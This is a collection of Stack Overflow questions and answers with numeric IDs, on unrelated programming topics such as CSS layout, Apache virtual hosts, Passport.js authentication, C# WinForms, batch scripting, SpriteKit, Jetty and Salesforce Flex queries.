24617842	0	 <p>Here's a quick and easy way, so long as your background is a solid color.</p> <p>HTML:</p> <pre><code>&lt;p class="myCopy"&gt; &lt;span&gt;My Text goes here&lt;/span&gt; &lt;/p&gt; </code></pre> <p>CSS:</p> <pre><code>.myCopy { display: block; height: 10px; border-bottom: solid 1px #000; text-align: center; } .myCopy span { display: inline-block; background-color: #fff; padding: 0 10px; } </code></pre> <p>Adjust the height value of .myCopy to move the line up and down. Change the background color of the inner span to match the primary background color.</p> <p>EDIT: here's a fiddle - <a href="http://jsfiddle.net/znVEL/" rel="nofollow">FIDDLE!!!</a></p>
24447866	0	HTTP Requests going to wrong VirtualHost apache2 <p>Hoping someone can lend me a hand here as this has been bugging me for a few days now.</p> <p>I have a apache config file, it does both standard HTTP server work as well as reverse proxy for pages within the network. </p> <p>If i create a new DNS A record for the IP address of the apache server it will automatically send the request to the camera1.domainname.com virtual host and then forward me 192.168.2.160. </p> <p>What i want it to to do is send it to the folder /var/www/bad_url.</p> <p>Any suggestions here would be great as im pretty sure im going to start loosing hair.</p> <pre><code>NameVirtualHost * </code></pre> <p></p> <pre><code>ErrorLog ${APACHE_LOG_DIR}/error_baduri.log CustomLog ${APACHE_LOG_DIR}/access_baduri.log combined DocumentRoot /var/www/bad_url </code></pre> <p></p> <p></p> <pre><code>ProxyPreserveHost On ErrorLog ${APACHE_LOG_DIR}/error_cam1.log CustomLog ${APACHE_LOG_DIR}/access_cam1.log combined LogLevel debug ProxyPass / http://192.168.2.160/ ProxyPassReverse / http://192.168.2.160/ ServerAlias camera1.domainname.com </code></pre> <p></p> <p></p> <pre><code>ProxyPreserveHost On ErrorLog ${APACHE_LOG_DIR}/error_mediaserver.log CustomLog ${APACHE_LOG_DIR}/access_mediaserver.log combined LogLevel debug ProxyPass / http://192.168.2.207/ ProxyPassReverse / http://192.168.2.207/ ServerAlias mediaserver.domainname.com </code></pre> <p></p> <p></p> <pre><code>ErrorLog ${APACHE_LOG_DIR}/error.log CustomLog ${APACHE_LOG_DIR}/access.log combined ServerAlias ubuntu1 ubuntu1.domainname.com 192.168.2.208 DocumentRoot /var/www/html </code></pre> <p></p> <p>All the above is in file 'etc/apache2/sites-enabled/default.conf'. There are no other config files in that folder.</p> <p>Im running Ubuntu</p>
2162907	0	 <p>You could.</p> <ul> <li>Poll mouse coords until it's within a certain radius of your app.</li> <li>Position an invisible, always-on-top form above the docked app and have it fire a MouseEnter event.</li> </ul> <p>That's all I can think of really. Either.</p>
36136227	0	Visual c# Read DataGridView data and show in PictureBox <p>im sorry fot being a newbie on this language. Here's my simple situation.</p> <p>I have a DataGrid where i put my inventory items in this way:</p> <pre><code> public void UpdateInventoryListUI() { dGridInvetory.RowHeadersVisible = false; dGridInvetory.ColumnCount = 2; dGridInvetory.Columns[0].Name = "Name"; dGridInvetory.Columns[0].Width = 112; dGridInvetory.Columns[1].Name = "Quantity"; dGridInvetory.Rows.Clear(); foreach (InventoryItem inventoryItem in mainForm1._player.Inventory) { if (inventoryItem.Quantity &gt; 0) { dGridInventory.Rows.Add(new[] { inventoryItem.Details.Name, oggettoInventory.Quantity.ToString() }); } } } </code></pre> <p>Ok it works fine and show me my items. Now i want to create an event that when i select with mouse the Row (entire Row - so the name and the quantity) it shows me in the picture box the image of that item. I need to know how to read the STRING like below:</p> <pre><code> private void dGridInventory_MouseClick(object sender, MouseEventArgs e) { if(// the string "Name" on row is == "Mask_DPS"){ picBoxMask.Image = Properties.Resources.MASK_DPS; labelInfo.Text = "This is a dps Mask!"; } if((// the string "Name" on row is == "Mask_TANK"){ picBoxMask.Image = Properties.Resources.MASK_TANK; labelInfo.Text = "This is a tank mask!; //...and so on! } </code></pre> <p>Can you help me please? Just wanna click on the Row and compare the string in the Row. If is the same then show me the image in my picture box.</p> <p>Thank all and sry for my bad english.</p>
36102524	0	Passport.js multiple local strategies and req.user <p>The client for my web-app wants to <em>totally</em> separate regular users and admins, hence I'm trying to implement two local strategies for <code>passport.js</code>:</p> <pre><code>passport.use('local', new LocalStrategy({ usernameField: 'email' }, function(email, password, done) { User.findOne({ email: email }, function(err, user) { if (err) return done(err); if (!user) return done(null, false, { message: 'Wrong email or password.' }); if (!user.validPassword(password)) return done(null, false, { message: 'Wrong email or password.' }); done(null, user); }); })); passport.use('admin', new LocalStrategy({ usernameField: 'email' }, function(email, password, done) { Admin.findOne({ email: email }, function(err, admin) { if (err) return done(err); if (!admin) return done(null, false, { message: 'Wrong email or password.' }); if (!admin.validPassword(password)) return done(null, false, { message: 'Wrong email or password.' }); done(null, admin); }); })); passport.serializeUser(function(user, done) { done(null, user.id); }); passport.deserializeUser(function(id, done) { Admin.findById(id, function(err, admin) { if (err) return done(err); if (admin) return done(null, admin); User.findById(id, function(err, user) { done(err, user); }); }); }); </code></pre> <p>And then in my API admin router:</p> <pre><code>router.post('/', function(req, res, next) { if (typeof req.body.email === 'undefined') return res.json({ success: false, message: 'Email not supplied.' }); if (!validator.isEmail(req.body.email)) return res.json({ success: false, message: 'Wrong email format.' }); if (typeof req.body.password === 'undefined') return res.json({ success: false, message: 'Password not supplied.' }); if (req.body.password.length === 0) return res.json({ success: false, message: 'Password not supplied.' }); passport.authenticate('admin', function(err, admin, info) { if (!admin) return res.json({ success: false, message: info.message }); req.logIn(admin, function(err) { if (err) return res.json({ success: false, message: 'Server error.', reason: err }); console.log('user:'); console.log(req.user); // both users and admins go here console.log('admin:'); console.log(req.admin); // undefined res.json({ success: true }); }); })(req, res, next); }); </code></pre> <p>In fact, I was following the answer here: <a href="http://stackoverflow.com/a/21898892/1830420">http://stackoverflow.com/a/21898892/1830420</a>, and Matthew Payne gets two session variables: <code>req.user</code> and <code>req.sponsor</code>. In my case, even if an admin authenticates, it gets written to <code>req.user</code>. Now, trying to implement my client's desire of totally separating users and admins, I want to get <code>req.user</code> and <code>req.admin</code>, but every time it gets written to <code>req.user</code>. I thought changing LocalStrategy name would help, but <code>passport.js</code> seems to ignore both the strategy name <em>and</em> model name.</p> <p>Any help is very much appreciated.</p> <p>P.S. I know I can have everyone in <code>User</code> model and write some middleware to protect certain routes based on roles, but then again, unfortunately, I don't get to choose here.</p>
6335860	0	 <p>The sort of thing you want to do could probably be done more easily using a class factory function like the following. At least for me, it makes it more straightforward to keep straight the various levels at which I'm trying to operate.</p> <pre><code>def listOf(base, types={}, **features): key = (base,) + tuple(features.items()) if key in types: return types[key] else: if not isinstance(base, type): raise TypeError("require element type, got '%s'" % base) class C(list): def __init__(self, iterable=[]): for item in iterable: try: # try to convert to desired type self.append(self._base(item)) except ValueError: raise TypeError("value '%s' not convertible to %s" % (item, self._base.__name__)) # similar methods to type-check other list mutations C.__name__ = "listOf(%s)" % base.__name__ C._base = base C.__dict__.update(features) types[key] = C return C </code></pre> <p>Note that I'm using a <code>dict</code> as a cache here so that you get the same class object for a given combination of element type and features. This makes <code>listOf(int) is listOf(int)</code> always <code>True</code>.</p>
37823979	0	 <p>I moved my tblk file to the desktop and then it was able to add it. For some reason, when the file is in the Downloads folder, it won't add it</p>
27164964	0	 <p>Simple do this</p> <pre><code>outerObj = Object[1]; System.out.println(outerObj[0]); </code></pre>
27093982	0	 <p>I struggeld for many hours on this. This is my loop to register command line vars. Example : Register.bat /param1:value1 /param2:value2</p> <p>What is does, is loop all the commandline params, and that set the variable with the proper name to the value.</p> <p>After that, you can just use set value=!param1! set value2=!param2!</p> <p>regardless the sequence the params are given. (so called named parameters). Note the !&lt;>!, instead of the %&lt;>%.</p> <pre><code>SETLOCAL ENABLEDELAYEDEXPANSION FOR %%P IN (%*) DO ( call :processParam %%P ) goto:End :processParam [%1 - param] @echo "processparam : %1" FOR /F "tokens=1,2 delims=:" %%G IN ("%1") DO ( @echo a,b %%G %%H set nameWithSlash=%%G set name=!nameWithSlash:~1! @echo n=!name! set value=%%H set !name!=!value! ) goto :eof :End </code></pre>
28185238	0	 <p>Tokuriku, thanks so much, you we're not quite right but it got me to the eventual answer, here it is </p> <pre><code>import SpriteKit class GameScene: SKScene { var circleTouch: UITouch? override func didMoveToView(view: SKView) { /* Setup your scene here */ let circle = SKShapeNode(circleOfRadius: 40.0) circle.fillColor = UIColor.blackColor() circle.position = CGPoint(x: size.width * 0.5, y: size.height * 0.2) circle.name = "userCircle" addChild(circle) } override func touchesBegan(touches: NSSet, withEvent event: UIEvent) { for touch in touches { if nodeAtPoint(touch.locationInNode(self)).name == "userCircle" { circleTouch = touch as? UITouch } } } override func touchesMoved(touches: NSSet, withEvent event: UIEvent) { for touch in touches { if circleTouch != nil { if touch as UITouch == circleTouch! { let location = touch.locationInNode(self) let touchedNode = nodeAtPoint(location) touchedNode.position = location } } } } override func touchesEnded(touches: NSSet, withEvent event: UIEvent) { for touch in touches { if circleTouch != nil { if touch as UITouch == circleTouch! { circleTouch = nil } } } } </code></pre>
13392907	0	How to implement secure FTP connection on iOS <p>Apple provide a CFNetwork guide, where described how to work with FTP. I interested to work with SFTP. Everywhere chilkat ftp library is suggested, but he has a too big feature list, that is unnecessary to pay. Are there any way to connect to SFTP only for download, upload and viewing directory lists?</p>
28613694	0	 <p>You can use relative imports</p> <pre><code># inside subdirectory/script.py from .. import important_file </code></pre> <p>but really the best solution is to add it to your <code>PYTHONPATH</code> and do</p> <pre><code>import proj.important_file </code></pre>
14649010	0	 <p>You could extend a custom class from EditText with a method that will store the current text into a private member variable. In your Activity's onResume() method you would then call this method. Whenever you want to reset the EditText's text to its original text, you would then call another simple method that will set the current text to the text stored before.</p> <pre><code>public class MyEditText extends EditText { private String mStoredText; public MyEditText(Context context) { super(context); } public MyEditText(Context context, AttributeSet attrs) { super(context, attrs); } public void storeText() { mStoredText = getText().toString(); } public void restoreText() { setText(mStoredText); } } </code></pre>
15920353	0	 <p><strong>Have connection string format as:</strong></p> <pre><code>String DBConnection = "Data Source=27.0.0.1;;Initial Catalog=Darkride;User ID=userIDText;Password=PasswordText"; </code></pre>
33071993	0	defer events when table is being populated <p>I'm creating a simple dropdown plugin where the values of the dropdown were in tabular manner.</p> <p>what I want is to halt the event while my table is being loaded.</p> <p>here's my code.</p> <pre><code> //appendTableForThePanel $('#appendHere').append('&lt;table class="table table-hover table-condensed"&gt;&lt;/table&gt;'); $('#appendHere').find('table').append('&lt;thead&gt;&lt;/thead&gt;'); $('#appendHere').find('table').append('&lt;tbody&gt;&lt;/tbody&gt;'); $('#appendHere').find('table').find('thead').append('&lt;tr&gt;&lt;/tr&gt;'); for(appendCountHeader = 0; appendCountHeader &lt; tableHeader.length; appendCountHeader++ ){ $('#appendHere').find('table').find('thead').find('tr').append('&lt;th&gt;'+tableHeader[appendCountHeader]+'&lt;/th&gt;'); } //count tbody tbody_tr var tbody_tr = tbody.length / tableHeader.length; //count how many column / row var tbody_td = tbody.length / tbody_tr; //append tbody tr tdcontent for(var i = 0; i &lt; tbody.length; i += tbody_td) { $newRow = $("&lt;tr&gt;"); for(var j = 0; j &lt; tbody_td; j++) { $newRow.append( $("&lt;td&gt;").html(tbody[i + j]) ); } $("#appendHere").find('table').find('tbody').append($newRow); } $('body').on('click', '#appendHere table tbody tr', function() { // alert($(this).find('td:nth-child(1)').html() + ' : ' + $(this).find('td:nth-child(2)').html()); $($element.selector).val($(this).find('td:nth-child(2)').html()); $('#appendHere').hide(); }); // **I want to deferred below functions when the table is appending** $($element.selector).blur(function(){ setTimeout(function(){ $('#appendHere').hide(); }, 200); }); $($element.selector).on('click', function(){ $('#appendHere').show(); }); $($element.selector).keyup(function(){ }); </code></pre> <p>I know it is possible but I can't grasp the idea of deferring a function.</p> <p>thanks in advance.</p>
31321807	0	Route is not triggerd with Attribute Routing and FromUri <p>I want to trigger the below route with this url:</p> <pre><code>http://localhost:66777/api/productdetails?articlegroup=1&amp;producedat=2012-01-01 </code></pre> <p>What is wrong with my - I guess - Route attribute?</p> <pre><code>[Route("api/productdetails/{articlegroup:int}/{producedat:datetime}")] [HttpGet] public async Task&lt;IHttpActionResult&gt; GetProductDetails([FromUri] ProductDetailsRequestDTO dto) { //... } public class ProductDetailsRequestDTO { public int ArticleGroup { get; set; } public DateTime ProducedAt { get; set; } } </code></pre>
27161929	0	 <p>You should get a debugger working. It would provide you with the answer to your question within seconds, and it's essential for trying to track down these kinds of problems. What seems very mystifying and unclear, when you're trying to interpret the output, will seem very easy when you're stepping through it, and you can see everything.</p> <p>This will probably lead to pipe() not doing what you expect, you'll check errno, and presumably get a useful answer.</p> <p>The commenter's advise about avoiding doing stuff in signal handlers is good, as it's not portable. However, most modern OSs are quite permissive, so I'm not sure if that's your problem in this case.</p>
30259019	0	 <p>Install Terminal Emulator from Play Store, open the application and type:</p> <p><code>getprop ro.build.version.release</code> you will get something like: <code>4.4.4</code> for KitKat.</p> <p>or <code>getprop ro.build.version.sdk</code> for getting the sdk version which will return <code>19</code></p>
19507638	0	 <p>There's no need to strip the square brackets. Simply call <code>json_decode()</code> on the data and retrieve your information.</p> <p><strong>Note:</strong> the data in the form you have it decodes to an array of objects, with just one object, so you need to provide an array subscript:</p> <pre><code>$json = json_decode("My JSON Data...here"); echo $json[0]-&gt;address; </code></pre> <p>See <a href="http://phpfiddle.org/main/code/r4g-552" rel="nofollow">this fiddle</a></p> <p><strong>2nd Note:</strong> the data as you have posted it has embedded newlines which caused a problem with <code>json_decode()</code>. If you have those in your original data you'll need to strip them before decoding. I edited them out in the fiddle.</p>
2210128	0	 <p>You are using the wrong tools. </p> <p>In .NET 4.0 they introduced the Task Parallel Library. This allows you to do things like use multiple thead pools as well as have parent-child relationships between work items.</p> <p>Start with the Task class, which replaces ThreadPool.QueueUserWorkItem.</p> <p><a href="http://msdn.microsoft.com/en-us/library/system.threading.tasks.task(VS.100).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/system.threading.tasks.task(VS.100).aspx</a></p> <p><strong>EDIT</strong></p> <p>Example of creating your own thread pool using Task and TaskScheduler.</p> <p><a href="http://msdn.microsoft.com/en-us/library/dd997413(VS.100).aspx" rel="nofollow noreferrer">http://msdn.microsoft.com/en-us/library/dd997413(VS.100).aspx</a></p>
20270559	0	 <p>Firstly you don't need to convert <code>decimal</code> to <code>decimal</code>, secondly <code>Text</code> is a <code>string</code> property, so you need to turn <code>result</code> into a <code>string</code>, so replace:</p> <pre><code>txt_WeightGrams.Text = Convert.ToDecimal(result); </code></pre> <p>with this:</p> <pre><code>txt_WeightGrams.Text = result.ToString(); </code></pre>
39764591	0	 <p>I was using inside a loop and was cloning the same reference object, so deleting the same var.</p> <p>Sorry for my mistake and thank you for showing me that the code runs correctly.</p> <p>ie: you can add all -1 that you want. Sorry again</p>
4745461	0	SQLNamedQuery in Spring hibernate Error <p>Following is the my code.</p> <pre><code>&lt;sql-query name="findPreviousQuestionnarieId"&gt; &lt;return-scalar column="questionId" type="long" /&gt; &lt;![CDATA[select max(B.Questionnaire_Id) as questionId from dbo.Rme_Questionnaire_Answer_Header A,Rme_Questionnaire_Answer_Header B where A.Questionnaire_Id = : currentQuesId and B.Questionnaire_Id &lt; A.Questionnaire_Id and A.Questionnaire_Code = B.Questionnaire_Code]]&gt; &lt;/sql-query&gt; </code></pre> <p>Error while starting server is,</p> <blockquote> <p>Errors in named queries: com.mmm.rme.core.domain.evaluation.QuestionnaireResponseHeader.findPreviousQuestionnarieId</p> </blockquote> <p>the method i am using to access is,</p> <pre><code>results = this.getHibernateTemplate().findByNamedParam(namedQuery, paramName, value); </code></pre>
24433630	0	What's required in order to get OAuth2 credentials for my marketplace app? <p>I've created a small application that utilizes the <a href="https://developers.google.com/gmail/" rel="nofollow noreferrer">recently announced Gmail API</a> to search received e-mails for a specific string. My new is app published as hidden in the Chrome / Google Apps store, and I've read that I should be given OAuth2 credentials to use with my application.</p> <p>For example, <a href="https://developers.google.com/google-apps/help/articles/2lo-in-tasks-for-marketplace" rel="nofollow noreferrer">this guide (for the old apps marketplace, which is no longer usable)</a> shows where a developer can go to grab credentials for their marketplace app:</p> <p><img src="https://i.stack.imgur.com/n2ecs.png" alt="enter image description here"></p> <p>However in the new store, I cannot find anywhere that makes these credentials available to me.</p> <p>Have I missed a step? Do I need to complete a <a href="https://docs.google.com/a/consuslabs.com/forms/d/14QOb8PbSLKDgwIp8Zv-luoAAVurPXUqtzL0Hgikp3rk/viewform" rel="nofollow noreferrer">Google Apps Marketplace Listing Review Request</a> in order to be provided credentials?</p> <p>Thanks!</p> <h1>Updated with solution</h1> <p>The user MeLight has the answer below - generate service account credentials, then use them after making sure that the project has been linked to the marketplace app in the Chrome Web Store. For any future Googlers, here's the code used to connect to the API and create a <code>service</code> object, which can be used for getting messages, etc.</p> <pre><code>from oauth2client.client import SignedJwtAssertionCredentials from apiclient.discovery import build from oauth2client.tools import run import os import httplib2 BASEDIR = os.path.dirname(__file__) PRIVATE_KEY = BASEDIR + "XXXX-privatekey.p12" SERVICE_ACCOUNT_EMAIL = "XXXX@developer.gserviceaccount.com" SCOPES = ["https://mail.google.com/"] USERNAME="someone@targetuser.com" def main(argv): f = file(PRIVATE_KEY, 'rb') key = f.read() f.close() credentials = SignedJwtAssertionCredentials(service_account_name=SERVICE_ACCOUNT_EMAIL, private_key=key, scope=" ".join(SCOPES), prn=USERNAME) http = httplib2.Http() # Authorize the httplib2.Http object with our credentials http = credentials.authorize(http) # Build the Gmail service from discovery service = build('gmail', 'v1', http=http) </code></pre>
33577880	0	How to deeplink to product page for Amazon Shopping app in Android? <p>Using Intents/Activities, how can I programatically deeplink / launch the Amazon Shopping app to the landing page of a particular product in Android?</p>
8848390	0	Eclipse Mac to Windows notepad formatting no carriage return <p>I am using eclipse on mac to do my java coding.</p> <p>Now i need to open a .java file that was created with mac eclipse and open it in a Windows notepad.</p> <p>However all the carriage return/ newline formatting is gone.</p> <p>Is there a way where I can retain all the formatting?</p>
15444495	0	 <p>The webkit bug mentioned in @Phrogz answer seems to have been fixed in more recent versions, so I found a solution that doesn't require a manual parse is</p> <pre><code>// from http://bl.ocks.org/biovisualize/1209499 // via https://groups.google.com/forum/?fromgroups=#!topic/d3-js/RnORDkLeS-Q var xml = d3.select("svg") .attr("title", "test2") .attr("version", 1.1) .attr("xmlns", "http://www.w3.org/2000/svg") .node().parentNode.innerHTML; // from http://webcache.googleusercontent.com/search?q=cache:http://phpepe.com/2012/07/export-raphael-graphic-to-image.html // via http://stackoverflow.com/questions/4216927/problem-saving-as-png-a-svg-generated-by-raphael-js-in-a-canvas var canvas = document.getElementById("myCanvas") canvg(canvas, svgfix(xml)); document.location.href = canvas.toDataURL(); </code></pre> <p>which requires <a href="https://code.google.com/p/svgfix/" rel="nofollow">https://code.google.com/p/svgfix/</a> and <a href="https://code.google.com/p/canvg/" rel="nofollow">https://code.google.com/p/canvg/</a> and uses d3.js to obtain the svg source, which should be doable without d3.js as well (but this takes care of adding required metadata which can lead to problems when missing).</p>
7198394	0	 <p>For IIS 7+, you're only missing the part that defines <em>which</em> httpErrors to handle with custom handlers:</p> <pre><code>&lt;configuration&gt; &lt;system.webServer&gt; &lt;httpErrors errorMode="Custom"&gt; &lt;remove statusCode="500" /&gt; &lt;error statusCode="500" path="~/Views/Shared/Error.aspx" /&gt; &lt;/httpErrors&gt; &lt;/system.webServer&gt; &lt;/configuration&gt; </code></pre> <p>(The <code>&lt;remove /&gt;</code> tag is optional, depending on your web.config hierarchy.)</p> <p>For IIS 6 and below, You have to set this via the IIS Manager by going to the appropriate Properties page, Custom Errors tab, then edit the appropriate HTTPError line to "Message type:" "URL" and "URL:" "~/Views/Shared/Error.aspx".</p>
22508299	0	 <p>You need a little P/invoke:</p> <pre><code>add-type -type @' using System; using System.Runtime.InteropServices; using System.ComponentModel; using System.IO; namespace Win32Functions { public class ExtendedFileInfo { public static long GetFileSizeOnDisk(string file) { FileInfo info = new FileInfo(file); uint dummy, sectorsPerCluster, bytesPerSector; int result = GetDiskFreeSpaceW(info.Directory.Root.FullName, out sectorsPerCluster, out bytesPerSector, out dummy, out dummy); if (result == 0) throw new Win32Exception(); uint clusterSize = sectorsPerCluster * bytesPerSector; uint hosize; uint losize = GetCompressedFileSizeW(file, out hosize); long size; size = (long)hosize &lt;&lt; 32 | losize; return ((size + clusterSize - 1) / clusterSize) * clusterSize; } [DllImport("kernel32.dll")] static extern uint GetCompressedFileSizeW([In, MarshalAs(UnmanagedType.LPWStr)] string lpFileName, [Out, MarshalAs(UnmanagedType.U4)] out uint lpFileSizeHigh); [DllImport("kernel32.dll", SetLastError = true, PreserveSig = true)] static extern int GetDiskFreeSpaceW([In, MarshalAs(UnmanagedType.LPWStr)] string lpRootPathName, out uint lpSectorsPerCluster, out uint lpBytesPerSector, out uint lpNumberOfFreeClusters, out uint lpTotalNumberOfClusters); } } '@ </code></pre> <p>Use like this:</p> <pre><code>[Win32Functions.ExtendedFileInfo]::GetFileSizeOnDisk( 'C:\ps\examplefile.exe' ) 59580416 </code></pre> <p>it returns the 'size on disk' that you read in properties file from explore.</p>
38802136	0	Is it possible to send or receive data on traditional request /response basis using Firebase <p>Our requirement is to send or receive data on traditional synchronous request and response basis using Fire base. Rather than updating all connected clients when ever a piece of data changes at server . Going through your Docs... Fire base REST is some thing that looks fits our requirement. Please suggest if anyone have tried it or there is any other way to achieve the same using Fire base.</p>
6840515	0	 <p>AWT and Applets aren't available for Java ME. Due to the screen size limitations and restricted user interactions, the MIDP UI API is designed for mobile devices comprising of the high level and low level UI. Look at <a href="http://download.oracle.com/javame/config/cldc/ref-impl/midp2.0/jsr118/index.html" rel="nofollow">Java ME documentation</a>. </p> <p>You can use <a href="http://developers.sun.com/mobility/midp/articles/gameapi/" rel="nofollow">Canvas</a> and draw the circle. Refer more info look at following links,</p> <ul> <li><a href="http://developers.sun.com/mobility/midp/articles/ui/" rel="nofollow">MIDP GUI Programming: Programming the Phone Interface</a></li> <li><a href="http://www.javaworld.com/javaworld/jw-05-2005/jw-0516-midp.html" rel="nofollow">MIDP user interface</a></li> <li><a href="http://www.developer.com/java/j2me/article.php/10934_1561591_1" rel="nofollow">MIDP Programming with J2ME</a></li> </ul> <p><strong>FYI:</strong> You can use <a href="http://stackoverflow.com/questions/6152237/what-is-lwuit-light-weight-user-interface-toolkit">LWUIT framework.</a> LWUIT provides many useful Swing-like features. </p>
2703951	0	 <ol> <li><p>Currying does not hurt. Currying sometimes introduces closures as well. They are usually efficient too. refer to <a href="http://stackoverflow.com/questions/1974586/making-functions-inline-avoids-closure">this question</a> I asked before. You can use inline to boost performance if necessary. </p></li> <li><p>However, your performance problem in the example is mainly due to your code:</p> <p><code>normalize p |&gt; (Set.ofList setElems).Contains</code></p></li> </ol> <p>here you need to perform <code>Set.ofList setElems</code> even you curry it. It costs O(n log n) time. You need to change the type of <code>setElems</code> to F# Set, not List now. Btw, for small set, using lists is faster than sets even for querying. </p>
5128918	0	 <p>You need to initialize your new structure with zeros. GetMem does not zero the allocated memory, so the fields of your record initially contain random garbage. You need to call</p> <p><code>FillChar(newItem^, sizeof(TAccessoryItem), 0)</code> </p> <p>after the GetMem, before using the record.</p> <p>Here's why: When you assign to the string field of the newly allocated but uninitialized record, the RTL sees that the destination string field is not null (contains a garbage pointer) and attempts to dereference the string to decrement its ref count before assigning the new string value to the field. This is necessary on every assignment to a string field or variable so that the previous string value will be freed if nothing else is using it before a new value is assigned to the string field or variable.</p> <p>Since the pointer is garbage, you get an access violation... if you're lucky. It is possible that the random garbage pointer could coincidentally be a value that points into an allocated address range in your process. If that were to happen, you would not get an AV at the point of assignment, but would likely get a much worse and far more mysterious crash later in program execution because this string assignment to an uninitialized variable has altered memory somewhere else in your process inappropriately.</p> <p>Whenever you're dealing with memory pointers directly and the type you're allocating contains compiler managed fields, you need to be very careful to initialize and dispose the type so that the compiler managed fields get initialized and disposed of correctly.</p> <p>The best way to allocate records in Delphi is to use the New() function:</p> <pre><code>New(newItem); </code></pre> <p>The compiler will infer the allocation size from the type of the pointer (sizeof what the pointer type points to), allocate the memory, and initialize all the fields appropriately for you.</p> <p>The corresponding deallocator is the Dispose() function:</p> <pre><code>Dispose(newItem); </code></pre> <p>This will make sure that all the compiler-managed fields of the record are disposed of correctly in addition to freeing the memory used by the record itself. </p> <p>If you just FreeMem(newItem), you will leak memory because the memory occupied by the strings and other compiler managed fields in that record will not be released.</p> <p>Compiler managed types include long strings ("String", not "string[10]"), wide strings, variants, interfaces, and probably something I've forgotten.</p> <p>One way to think about is this: GetMem/FreeMem simply allocate and release blocks of memory. They know nothing about how that block will be used. New and Dispose, though, are "aware" of the type you're allocating or freeing memory for, so they will do any additional work to make sure that all the internal housekeeping is taken care of automatically. </p> <p>In general, it's best to avoid GetMem/FreeMem unless all you really need is a raw block of memory with no type semantics associated with it.</p>
32085424	0	 <p>Guan, have you tried with an earlier version of the JDK (e.g., JDK-1.5?). I realize it's much older, but I'm curious if it's related to using the CLT on JDK 1.8. Just an idea.</p> <p>Additionally, it would help if we could see the turk.properties file (please don't share your access keys or secret key) to make sure the endpoints are well-formed. Thanks!</p>
9735722	0	Running a JSF-2 page using embedded Jetty? <p>Is it possible to start up a JSF-2 page (assuming I have the *.html and backing bean) using embedded Jetty?</p> <p>By Embedded Jetty I mean something like the following (but obviously coupled with a JSF page)</p> <pre><code>import java.io.IOException; import javax.servlet.ServletException; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import org.eclipse.jetty.server.Request; import org.eclipse.jetty.server.Server; import org.eclipse.jetty.server.handler.AbstractHandler; public class HelloHandler extends AbstractHandler { public void handle(String target,Request baseRequest,HttpServletRequest request,HttpServletResponse response) throws IOException, ServletException { response.setContentType("text/html;charset=utf-8"); response.setStatus(HttpServletResponse.SC_OK); baseRequest.setHandled(true); response.getWriter().println("&lt;h1&gt;Hello World&lt;/h1&gt;"); } public static void main(String[] args) throws Exception { Server server = new Server(8080); server.setHandler(new HelloHandler()); server.start(); server.join(); } } </code></pre>
4688595	0	How to query more than 5000 records in Flex Salesforce app? <p>I've run into an issue where Salesforce will only return 1000 records to my flex app from a query. I'd like to get more than that (like 5000-10000). Is this possible?</p> <p>Here is what I have tried (app is an F3WebApplication)<br> note:this code does work, I just need it to return more results:</p> <pre><code>app.wrapper.query(query, new mx.rpc.Responder( function(rows:ArrayCollection):void { if(user_list != null){ filteredList = addOwnerData(rows); filteredList = PutChildrenWithParents(filteredList); } else { filteredList = PutChildrenWithParents(rows); } my_accounts_raw = new ArrayCollection(filteredList.toArray()); refreshSearchData(filteredList); }, function():void{_status = "apex error!";} ) ); } </code></pre> <p>I've also tried app.connection.Query to then use queryMore but can't get that to work at all.<br> Any ideas?</p>
19269802	0	How to set css for chrome and mozila for responsive design? <p>I am new to CSS, Bootstrap &amp; HTML.</p> <p>I am trying to display search-box on my web page, in Mozilla it works fine but in Chrome it is not working.</p> <p><strong>Here is the screen shot of Mozilla browser:</strong></p> <p><img src="https://i.stack.imgur.com/oY3XQ.png" alt="enter image description here"></p> <p><strong>and this is of Chrome:</strong></p> <p><img src="https://i.stack.imgur.com/wFUnl.png" alt="enter image description here"></p> <p>Also note that when i increase or decrease screen resolution the control's gets scattered badly .Following is HTML code snippet responsible for this display:</p> <pre><code>&lt;body&gt; &lt;section id="customers"&gt; &lt;div class="container" style="margin-top:0px;"&gt; &lt;div class="row"&gt; &lt;div class="col-lg-12 &lt;form class="form-inline" role="form" style="background:#eee"&gt; &lt;div class="form-group"&gt; &lt;input id="" class="leftText" type="text" value="" tabindex="1" name="query" autocomplete="off" placeholder="I am looking for" &gt;&lt;/input&gt; &lt;strong &gt;in&lt;/strong&gt; &lt;input id="" class="rigtTextBox" type="text" value="" tabindex="1" name="query" autocomplete="off" helptext="In the location" placeholder="In the location"&gt;&lt;/input&gt; &lt;select class="rightcitydropdown"&gt; &lt;option&gt;Mumbai&lt;/option&gt; &lt;option&gt;Pune&lt;/option&gt; &lt;/select&gt; &lt;/div&gt; &lt;button class="btn btn-primary" id="srchBtn" &gt;Ask Me&lt;/button&gt; &lt;/div&gt;&lt;!--end of col-lg-12--&gt; &lt;/form&gt; &lt;/div&gt;&lt;!--end of row--&gt; &lt;/div&gt;&lt;!--end of container--&gt; &lt;/section&gt; &lt;/body&gt; </code></pre> <p>following in my CSS for above controls:</p> <pre><code> .leftText{ float :left; border-style:solid; border-width:5px; border-color:#989898 ; height:38px; } .rigtTextBox{ border-style:solid; border-width:5px; border-right-width:1px; height:38px; border-color:#989898 ; } .form-control{ border-style:solid; border-width:5px; border-left-width:1px; border-color:#eee; font-size:10px; height:30px; } .form{ border-width:5px; border-left-width:1px; border-color:#eee; font-size:10px; } .rightcitydropdown{ float:right; border-style:solid; border-width:5px; border-left-width:1px; border-color:#989898 ; margin-right:17px; background:white;height:38px; } #searchOuterdiv{ background:#F0F0F0; } #centralRow{ margin-top:3px; } strong { float:left; font-size:28px; margin:0px 10px 0 10px; height:30px; line-height:30px; color:#333333; } #srchBtn { background:#4682B4; font-size:18px; line-height:16px; border:none; width:125px; text-align:center;margin-top:6px; height:35px; padding-bottom:5px; cursor:pointer; color:#333; padding-top:0px; margin-left:7px;color:white} </code></pre> <p>So please, can any one tell me how to set CSS or correct written code to make responsive appearance.I want this page to be displayed on multiple resolution screens, say desktop,laptop,tablets e.t.c Thanks in advance.</p>
25285265	0	Howto inject local css into webpage <p>I would like to test out CSS on a webpage that I don't have direct access to. Does anyone know how to achieve this ?</p> <p>So I write my CSS, and on save, that code is used on the webpage. Of cause this will only happen on my local machine</p>
